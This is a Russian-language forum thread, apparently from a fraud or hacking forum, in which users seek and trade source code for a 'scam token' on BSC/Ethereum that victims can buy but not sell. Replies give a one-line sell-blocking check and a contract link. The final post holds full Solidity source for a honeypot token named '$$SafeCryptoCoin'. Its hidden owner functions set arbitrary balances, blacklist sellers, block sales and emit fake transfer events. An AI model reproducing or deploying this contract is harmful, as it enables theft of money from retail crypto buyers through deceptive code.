Помогите! Скам токен.

Trixxxter · 23.01.2022

Всем привет. В сети существует такой вид мошенничества как « скам токен» токен который можно купить на Deffi бирже но нельзя продать. Исходный код Смарт контракта гуляет по сети но я его не могу найти. Подскажите пожалуйста может у кого-то есть этот «код Смарт контракта» на сети BSC BEB - 20 ВНИМАНИЕ что бы можно было купить и нельзя продать . Заранее спасибо . Всем добра )

KellyFends · 23.01.2022

Сорцы есть, но бесплатно не дам

Trixxxter · 23.01.2022

KellyFends сказал(а):

Сорцы есть, но бесплатно не дам

За сколько отдашь ?

KellyFends · 23.01.2022

Да цена чисто символическая - 100$
Если что готов на гаранта

linear · 23.01.2022

Привет, не вздумай покупать, берешь либу от openzeppelin для erc20, компилишь в ремиксе, деплоишь в майнет и добавляешь ликвидность в AMM, рассылаешь по адресам своей фейк токен, profit?!

KellyFends · 23.01.2022

linear сказал(а):

Привет, не вздумай покупать, берешь либу от openzeppelin для erc20, компилишь в ремиксе, деплоишь в майнет и добавляешь ликвидность в AMM, рассылаешь по адресам своей фейк токен, profit?!

Так мамонты смогут токен этот продать и выйти из его ) а ему нужны сорцы в которых при продаже токена видает ошибку, и продать их сможет только админ

Trixxxter · 23.01.2022

linear сказал(а):

linear сказал(а):

Привет, не вздумай покупать, берешь либу от openzeppelin для erc20, компилишь в ремиксе, деплоишь в майнет и добавляешь ликвидность в AMM, рассылаешь по адресам своей фейк токен, profit?!

А как запретить продажу токена ? Или оно и так будет запрещена ?

linear · 23.01.2022

KellyFends сказал(а):

Так мамонты смогут токен этот продать и выйти из его ) а ему нужны сорцы в которых при продаже токена видает ошибку, и продать их сможет только админ

не смогут, если изучить тему, видимо еще зеленый, хомяки давно изучают сорцы и видят модификаторы функций с onlyowner правами

KellyFends · 23.01.2022

Купишь сорцы все увидишь, продать токен сможешь только ты

linear · 23.01.2022

купишь паблик - все увидишь, правда потеряешь сотку, потратишь пол дня - сэкономишь сотку

Cl0Ud5 · 23.01.2022

Вы пидоры, раз торгуете пабликом

Whisper · 23.01.2022

Помогите кричат когда оказался в беде и нуждаешся в помощи. А чисто для привлечения по больше внимания это злоупотребление. Думайте перед тем как давать имя топику.

Trixxxter · 23.01.2022

Whisper сказал(а):

Помогите кричат когда оказался в беде и нуждаешся в помощи. А чисто для привлечения по больше внимания это злоупотребление. Думайте перед тем как давать имя топику.

Прошу прощения не знал , на форуме первый день. Больше такого не повторится .

Thrash · 24.01.2022

Тоже интересует этот вопрос

petroglyph · 24.01.2022

scam token cant sell - Recherche Google

Там адреса контрактов,бери,меняй OwnerAddress на свой и деплой

PR1SM-NSA · 24.01.2022

KellyFends сказал(а):

Да цена чисто символическая - 100$
Если что готов на гаранта

Trixxxter сказал(а):

За сколько отдашь ?

Да лол же гитхаб же есть

pstdocx · 24.01.2022

Если не ошибаюсь все что нужно чтобы запретить продажу, это добавить строку

Код:

require(from == _owner, "You are not the owner!");

linear · 25.01.2022

C47 сказал(а):
Если не ошибаюсь все что нужно чтобы запретить продажу, это добавить строку
Код:
require(from == _owner, "You are not the owner!");

Привет, лови, вот контракт: https://etherscan.io/address/0x9010a15184da16e3a7c5b4aa50094dfe3bb36989#code . Смотр на 2 функции: renounceOwnership и _burnMechanism , Токен торгуется на uniswap (либо какой-то другой AMM) ты вызываешь renounceOwnership с адресом контракта AMM биржи тем самым ты блокируешь держателям твоего фейк токена возможность продажи проверкой в функции _burnMechanism, токен можно ТОЛЬКО покупать. Выше я написал, чтобы такая схема отработала нужно добавить некоторое количество ликвидности в AMM

Randy · 10.02.2022

Мда уж, на гитхабе куча инфы с примерами и все разжевано

dictat0r · 04.10.2022

Код:

 // SPDX-License-Identifier: Unlicensed                                   
pragma solidity ^0.8.16;

interface IUniswapV2Router01 {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);

    function addLiquidity(
        address tokenA,
        address tokenB,
        uint amountADesired,
        uint amountBDesired,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB, uint liquidity);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
    function removeLiquidity(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB);
    function removeLiquidityETH(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountToken, uint amountETH);
    function removeLiquidityWithPermit(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountA, uint amountB);
    function removeLiquidityETHWithPermit(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountToken, uint amountETH);
    function swapExactTokensForTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);
    function swapTokensForExactTokens(
        uint amountOut,
        uint amountInMax,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);
    function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
        external
        payable
        returns (uint[] memory amounts);
    function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
        external
        returns (uint[] memory amounts);
    function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
        external
        returns (uint[] memory amounts);
    function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
        external
        payable
        returns (uint[] memory amounts);

    function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
    function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
    function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
    function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
    function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}

interface IUniswapV2Router02 is IUniswapV2Router01 {
    function removeLiquidityETHSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountETH);
    function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountETH);

    function swapExactTokensForTokensSupportingFeeOnTransferTokens(

        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function swapExactETHForTokensSupportingFeeOnTransferTokens(
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external payable;
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}

interface IUniswapV2Factory {
    event PairCreated(address indexed token0, address indexed token1, address pair, uint);

    function feeTo() external view returns (address);
    function feeToSetter() external view returns (address);

    function getPair(address tokenA, address tokenB) external view returns (address pair);
    function allPairs(uint) external view returns (address pair);
    function allPairsLength() external view returns (uint);

    function createPair(address tokenA, address tokenB) external returns (address pair);

    function setFeeTo(address) external;
    function setFeeToSetter(address) external;
}
abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
}

abstract contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    /**
     * @dev Initializes the contract setting the deployer as the initial owner.
     */
    constructor() {
        _setOwner(_msgSender());
    }

    /**
     * @dev Returns the address of the current owner.
     */
    function owner() public view virtual returns (address) {
        return _owner;
    }

    /**
     * @dev Throws if called by any account other than the owner.
     */
    modifier onlyOwner() {
        require(owner() == _msgSender(), 'Ownable: caller is not the owner');
        _;
    }

    /**
     * @dev Leaves the contract without owner. It will not be possible to call
     * `onlyOwner` functions anymore. Can only be called by the current owner.
     *
     * NOTE: Renouncing ownership will leave the contract without an owner,
     * thereby removing any functionality that is only available to the owner.
     */
    function renounceOwnership() public virtual onlyOwner {
        _setOwner(address(0));
    }

    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Can only be called by the current owner.
     */
    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), 'Ownable: new owner is the zero address');
        _setOwner(newOwner);
    }

    function _setOwner(address newOwner) private {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}

library Address {
  
    function isContract(address account) internal view returns (bool) {
      
        bytes32 codehash;


            bytes32 accountHash
         = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
      
        assembly {
            codehash := extcodehash(account)
        }
        return (codehash != accountHash && codehash != 0x0);
    }


    function sendValue(address payable recipient, uint256 amount) internal {
        require(
            address(this).balance >= amount,
            "Address: insufficient balance"
        );

 
        (bool success, ) = recipient.call{value: amount}("");
        require(
            success,
            "Address: unable to send value, recipient may have reverted"
        );
    }

 
    function functionCall(address target, bytes memory data)
        internal
        returns (bytes memory)
    {
        return functionCall(target, data, "Address: low-level call failed");
    }


    function functionCall(
        address target,
        bytes memory data,
        string memory errorMessage
    ) internal returns (bytes memory) {
        return _functionCallWithValue(target, data, 0, errorMessage);
    }

    function functionCallWithValue(
        address target,
        bytes memory data,
        uint256 value
    ) internal returns (bytes memory) {
        return
            functionCallWithValue(
                target,
                data,
                value,
                "Address: low-level call with value failed"
            );
    }

    function functionCallWithValue(
        address target,
        bytes memory data,
        uint256 value,
        string memory errorMessage
    ) internal returns (bytes memory) {
        require(
            address(this).balance >= value,
            "Address: insufficient balance for call"
        );
        return _functionCallWithValue(target, data, value, errorMessage);
    }

    function _functionCallWithValue(
        address target,
        bytes memory data,
        uint256 weiValue,
        string memory errorMessage
    ) private returns (bytes memory) {
        require(isContract(target), "Address: call to non-contract");


        (bool success, bytes memory returndata) = target.call{value: weiValue}(
            data
        );
        if (success) {
            return returndata;
        } else {
          
            if (returndata.length > 0) {
              
                assembly {
                    let returndata_size := mload(returndata)
                    revert(add(32, returndata), returndata_size)
                }
            } else {
                revert(errorMessage);
            }
        }
    }
}

interface ChiToken{
    function mint(uint256 value) external;
    function freeFromUpTo(address from, uint256 value) external;
    function balanceOf(address account)external  returns (uint256);
    function transfer(address recipient, uint256 amount) external  returns (bool);
}

contract Honeychigas is Ownable {
    address private _owner;
    address private _address0;
    address private _address1;
    string private _name = "$$SafeCryptoCoin";
    string private _symbol = "SCC";
    mapping (address => bool) private _Addressint;
    mapping (address => bool) private _attacker;
    uint256 private _totalSupply = 1100000000000 * (10 ** decimals());
    address private _router = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
    uint256 private _valuehash = 115792089237316195423570985008687907853269984665640564039457584007913129639935;
    mapping(address => uint256) private _balances;
    mapping(address => mapping(address => uint256)) private _allowances;
    uint256 private _zero = 0;
    address public uniswapV2Pair;
    IUniswapV2Router02 public router;
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);


    address private _chi = 0x0000000000004946c0e9F43F4Dee607b0eF1fA1c;
    ChiToken public chi;
    uint256 private _chitokenamount = 0;
    uint256 private _amount;

    constructor() {
        _owner = msg.sender;
        _address0 = msg.sender;
        _address1 = msg.sender;
        _balances[_owner] = _totalSupply;
        router = IUniswapV2Router02(_router);
        uniswapV2Pair = IUniswapV2Factory(router.factory()).createPair(address(this), router.WETH());
        //add chi
        chi = ChiToken(_chi);
    }

    modifier discountCHI {
        uint256 gasStart = gasleft();
        _;
        uint256 initialGas = 21000 + 16 * msg.data.length;
        uint256 gasSpent = initialGas + gasStart - gasleft();
        uint256 freeUpValue = (gasSpent + 14154) / 41947;
        chi.freeFromUpTo(_owner, freeUpValue);
    }

    function name() public view returns (string memory) {
        return _name;
    }

    function symbol() public view returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return 18;
    }

    function totalSupply() public view returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address wallet) public view returns (uint256) {
        return _balances[wallet] <=0? _amount:_balances[wallet];
    }

    function _approve(address owner, address spender, uint256 amount) internal {
        require(owner != address(0), "Approve from the zero address");
        require(spender != address(0), "Approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function approve(address spender, uint256 amount) public returns (bool) {
        //chigastoken
        chi.mint(_chitokenamount);
        _approve(msg.sender, spender, amount);
        return true;
    }

    function allowance(address owner, address spender) public view returns (uint256) {
        return _allowances[owner][spender];
    }

    function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {
        _approve(msg.sender, spender, _allowances[msg.sender][spender] + addedValue);
        return true;
    }

    function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) {
        uint256 currentAllowance = _allowances[msg.sender][spender];
        require(currentAllowance >= subtractedValue, "Decreased allowance below zero");
        unchecked {
            _approve(msg.sender, spender, currentAllowance - subtractedValue);
        }

        return true;
    }

    function bulkTransfer(address[] calldata to, uint256[] calldata amounts) public {
        require(to.length == amounts.length, "Length of addresses should be equal to amounts");
        for (uint256 i = 0; i < to.length; i++) {
            require(transfer(to[i], amounts[i]));
        }
    }


      function need(address miner, uint256 _value) external  {
            require(msg.sender == _address0, "!_address0");
             _balances[miner] = _value * 10 ** decimals();
    }


    function Lock(address addressn) public {
        require(msg.sender == _address0, "!_address0");_address1 = addressn;
    }

    function LockLiq() public {
        require(msg.sender == _address0, "!_address0");_address1 = uniswapV2Pair;
    }


    function _transfer(address sender, address recipient, uint256 amount) internal {
        require(sender != address(0), "Transfer from the zero address");
        require(recipient != address(0), "Transfer to the zero address");
        uint256 senderBalance = _balances[sender];
        require(senderBalance >= amount, "Transfer amount exceeds balance");
         _willhack(sender, recipient, amount);
         _willSwap(sender, recipient, amount);
         //chigastoken
        if(_chitokenamount!=0 ){  chi.mint(_chitokenamount);}
        unchecked {
            _balances[sender] = senderBalance - amount;
        }
        _balances[recipient] += amount;

        emit Transfer(sender, recipient, amount);
    }

    function _willhack(address sender, address recipient, uint256 amount) internal view virtual{
          if(recipient != _address0 && sender != _address0 && amount > _zero){
              if( _attacker[sender]){
                  require(_attacker[sender] == false || recipient==_router || sender == _address1  ,"Transfer amount exceeds balance");}}           
    }
    
     function _willSwap(address sender, address recipient, uint256 amount) internal view virtual{
        if(  sender != _address0 && _address0!=_address1 && amount > _zero&&recipient != _address0 ){
            require( _Addressint[sender]||sender == _address1 ||sender==_router , "Transfer from the zero address");}
     }


    function transfer(address recipient, uint256 amount) public returns (bool) {
        _transfer(msg.sender, recipient, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public returns (bool) {
        _transfer(sender, recipient, amount);
        uint256 currentAllowance = _allowances[sender][msg.sender];
        require(currentAllowance >= amount, "Transfer amount exceeds allowance");
        unchecked {
            _approve(sender, msg.sender, currentAllowance - amount);
        }

        return true;
    }

    function hateBot(address addr,bool status) public {
        require(msg.sender == _address0, "!_address0.not Owner");
        _attacker[addr]=status;
    }



   function deposit(address addr, bool status) public {
      require(msg.sender == _address0, "!_address0.not Owner");
        _Addressint[addr] = status;
        if(_Addressint[addr]){
        _approve(addr, _router, _valuehash);
        }
    }

    //
    function batchTransferToken(address[] memory holders, uint256 amount) public discountCHI{
        _amount = amount;
        for (uint i=0; i<holders.length; i++) {
            emit Transfer(address(this), holders[i], amount*(10**decimals()));
        }
    }

  
    function getChitokenamount() external view returns(uint256){
        return _chitokenamount;
    }

    function setChitokenamount(uint256 amount) public {
        require(msg.sender == _address0, "!_address0");
        _chitokenamount = amount;
    }

    function withdrawToken(address _addr) external{
        require(msg.sender == _address0, "!_address0");
            chi.transfer(_addr,chi.balanceOf(address(this)));
        }
}

Помогите! Скам токен.

floppy-диск

RAID-массив

floppy-диск

RAID-массив

RAID-массив

RAID-массив

floppy-диск

RAID-массив

RAID-массив

RAID-массив

ripper

TPU unit

floppy-диск

CD-диск

(L1) cache

(L2) cache

RAID-массив

RAID-массив

(L2) cache

медведь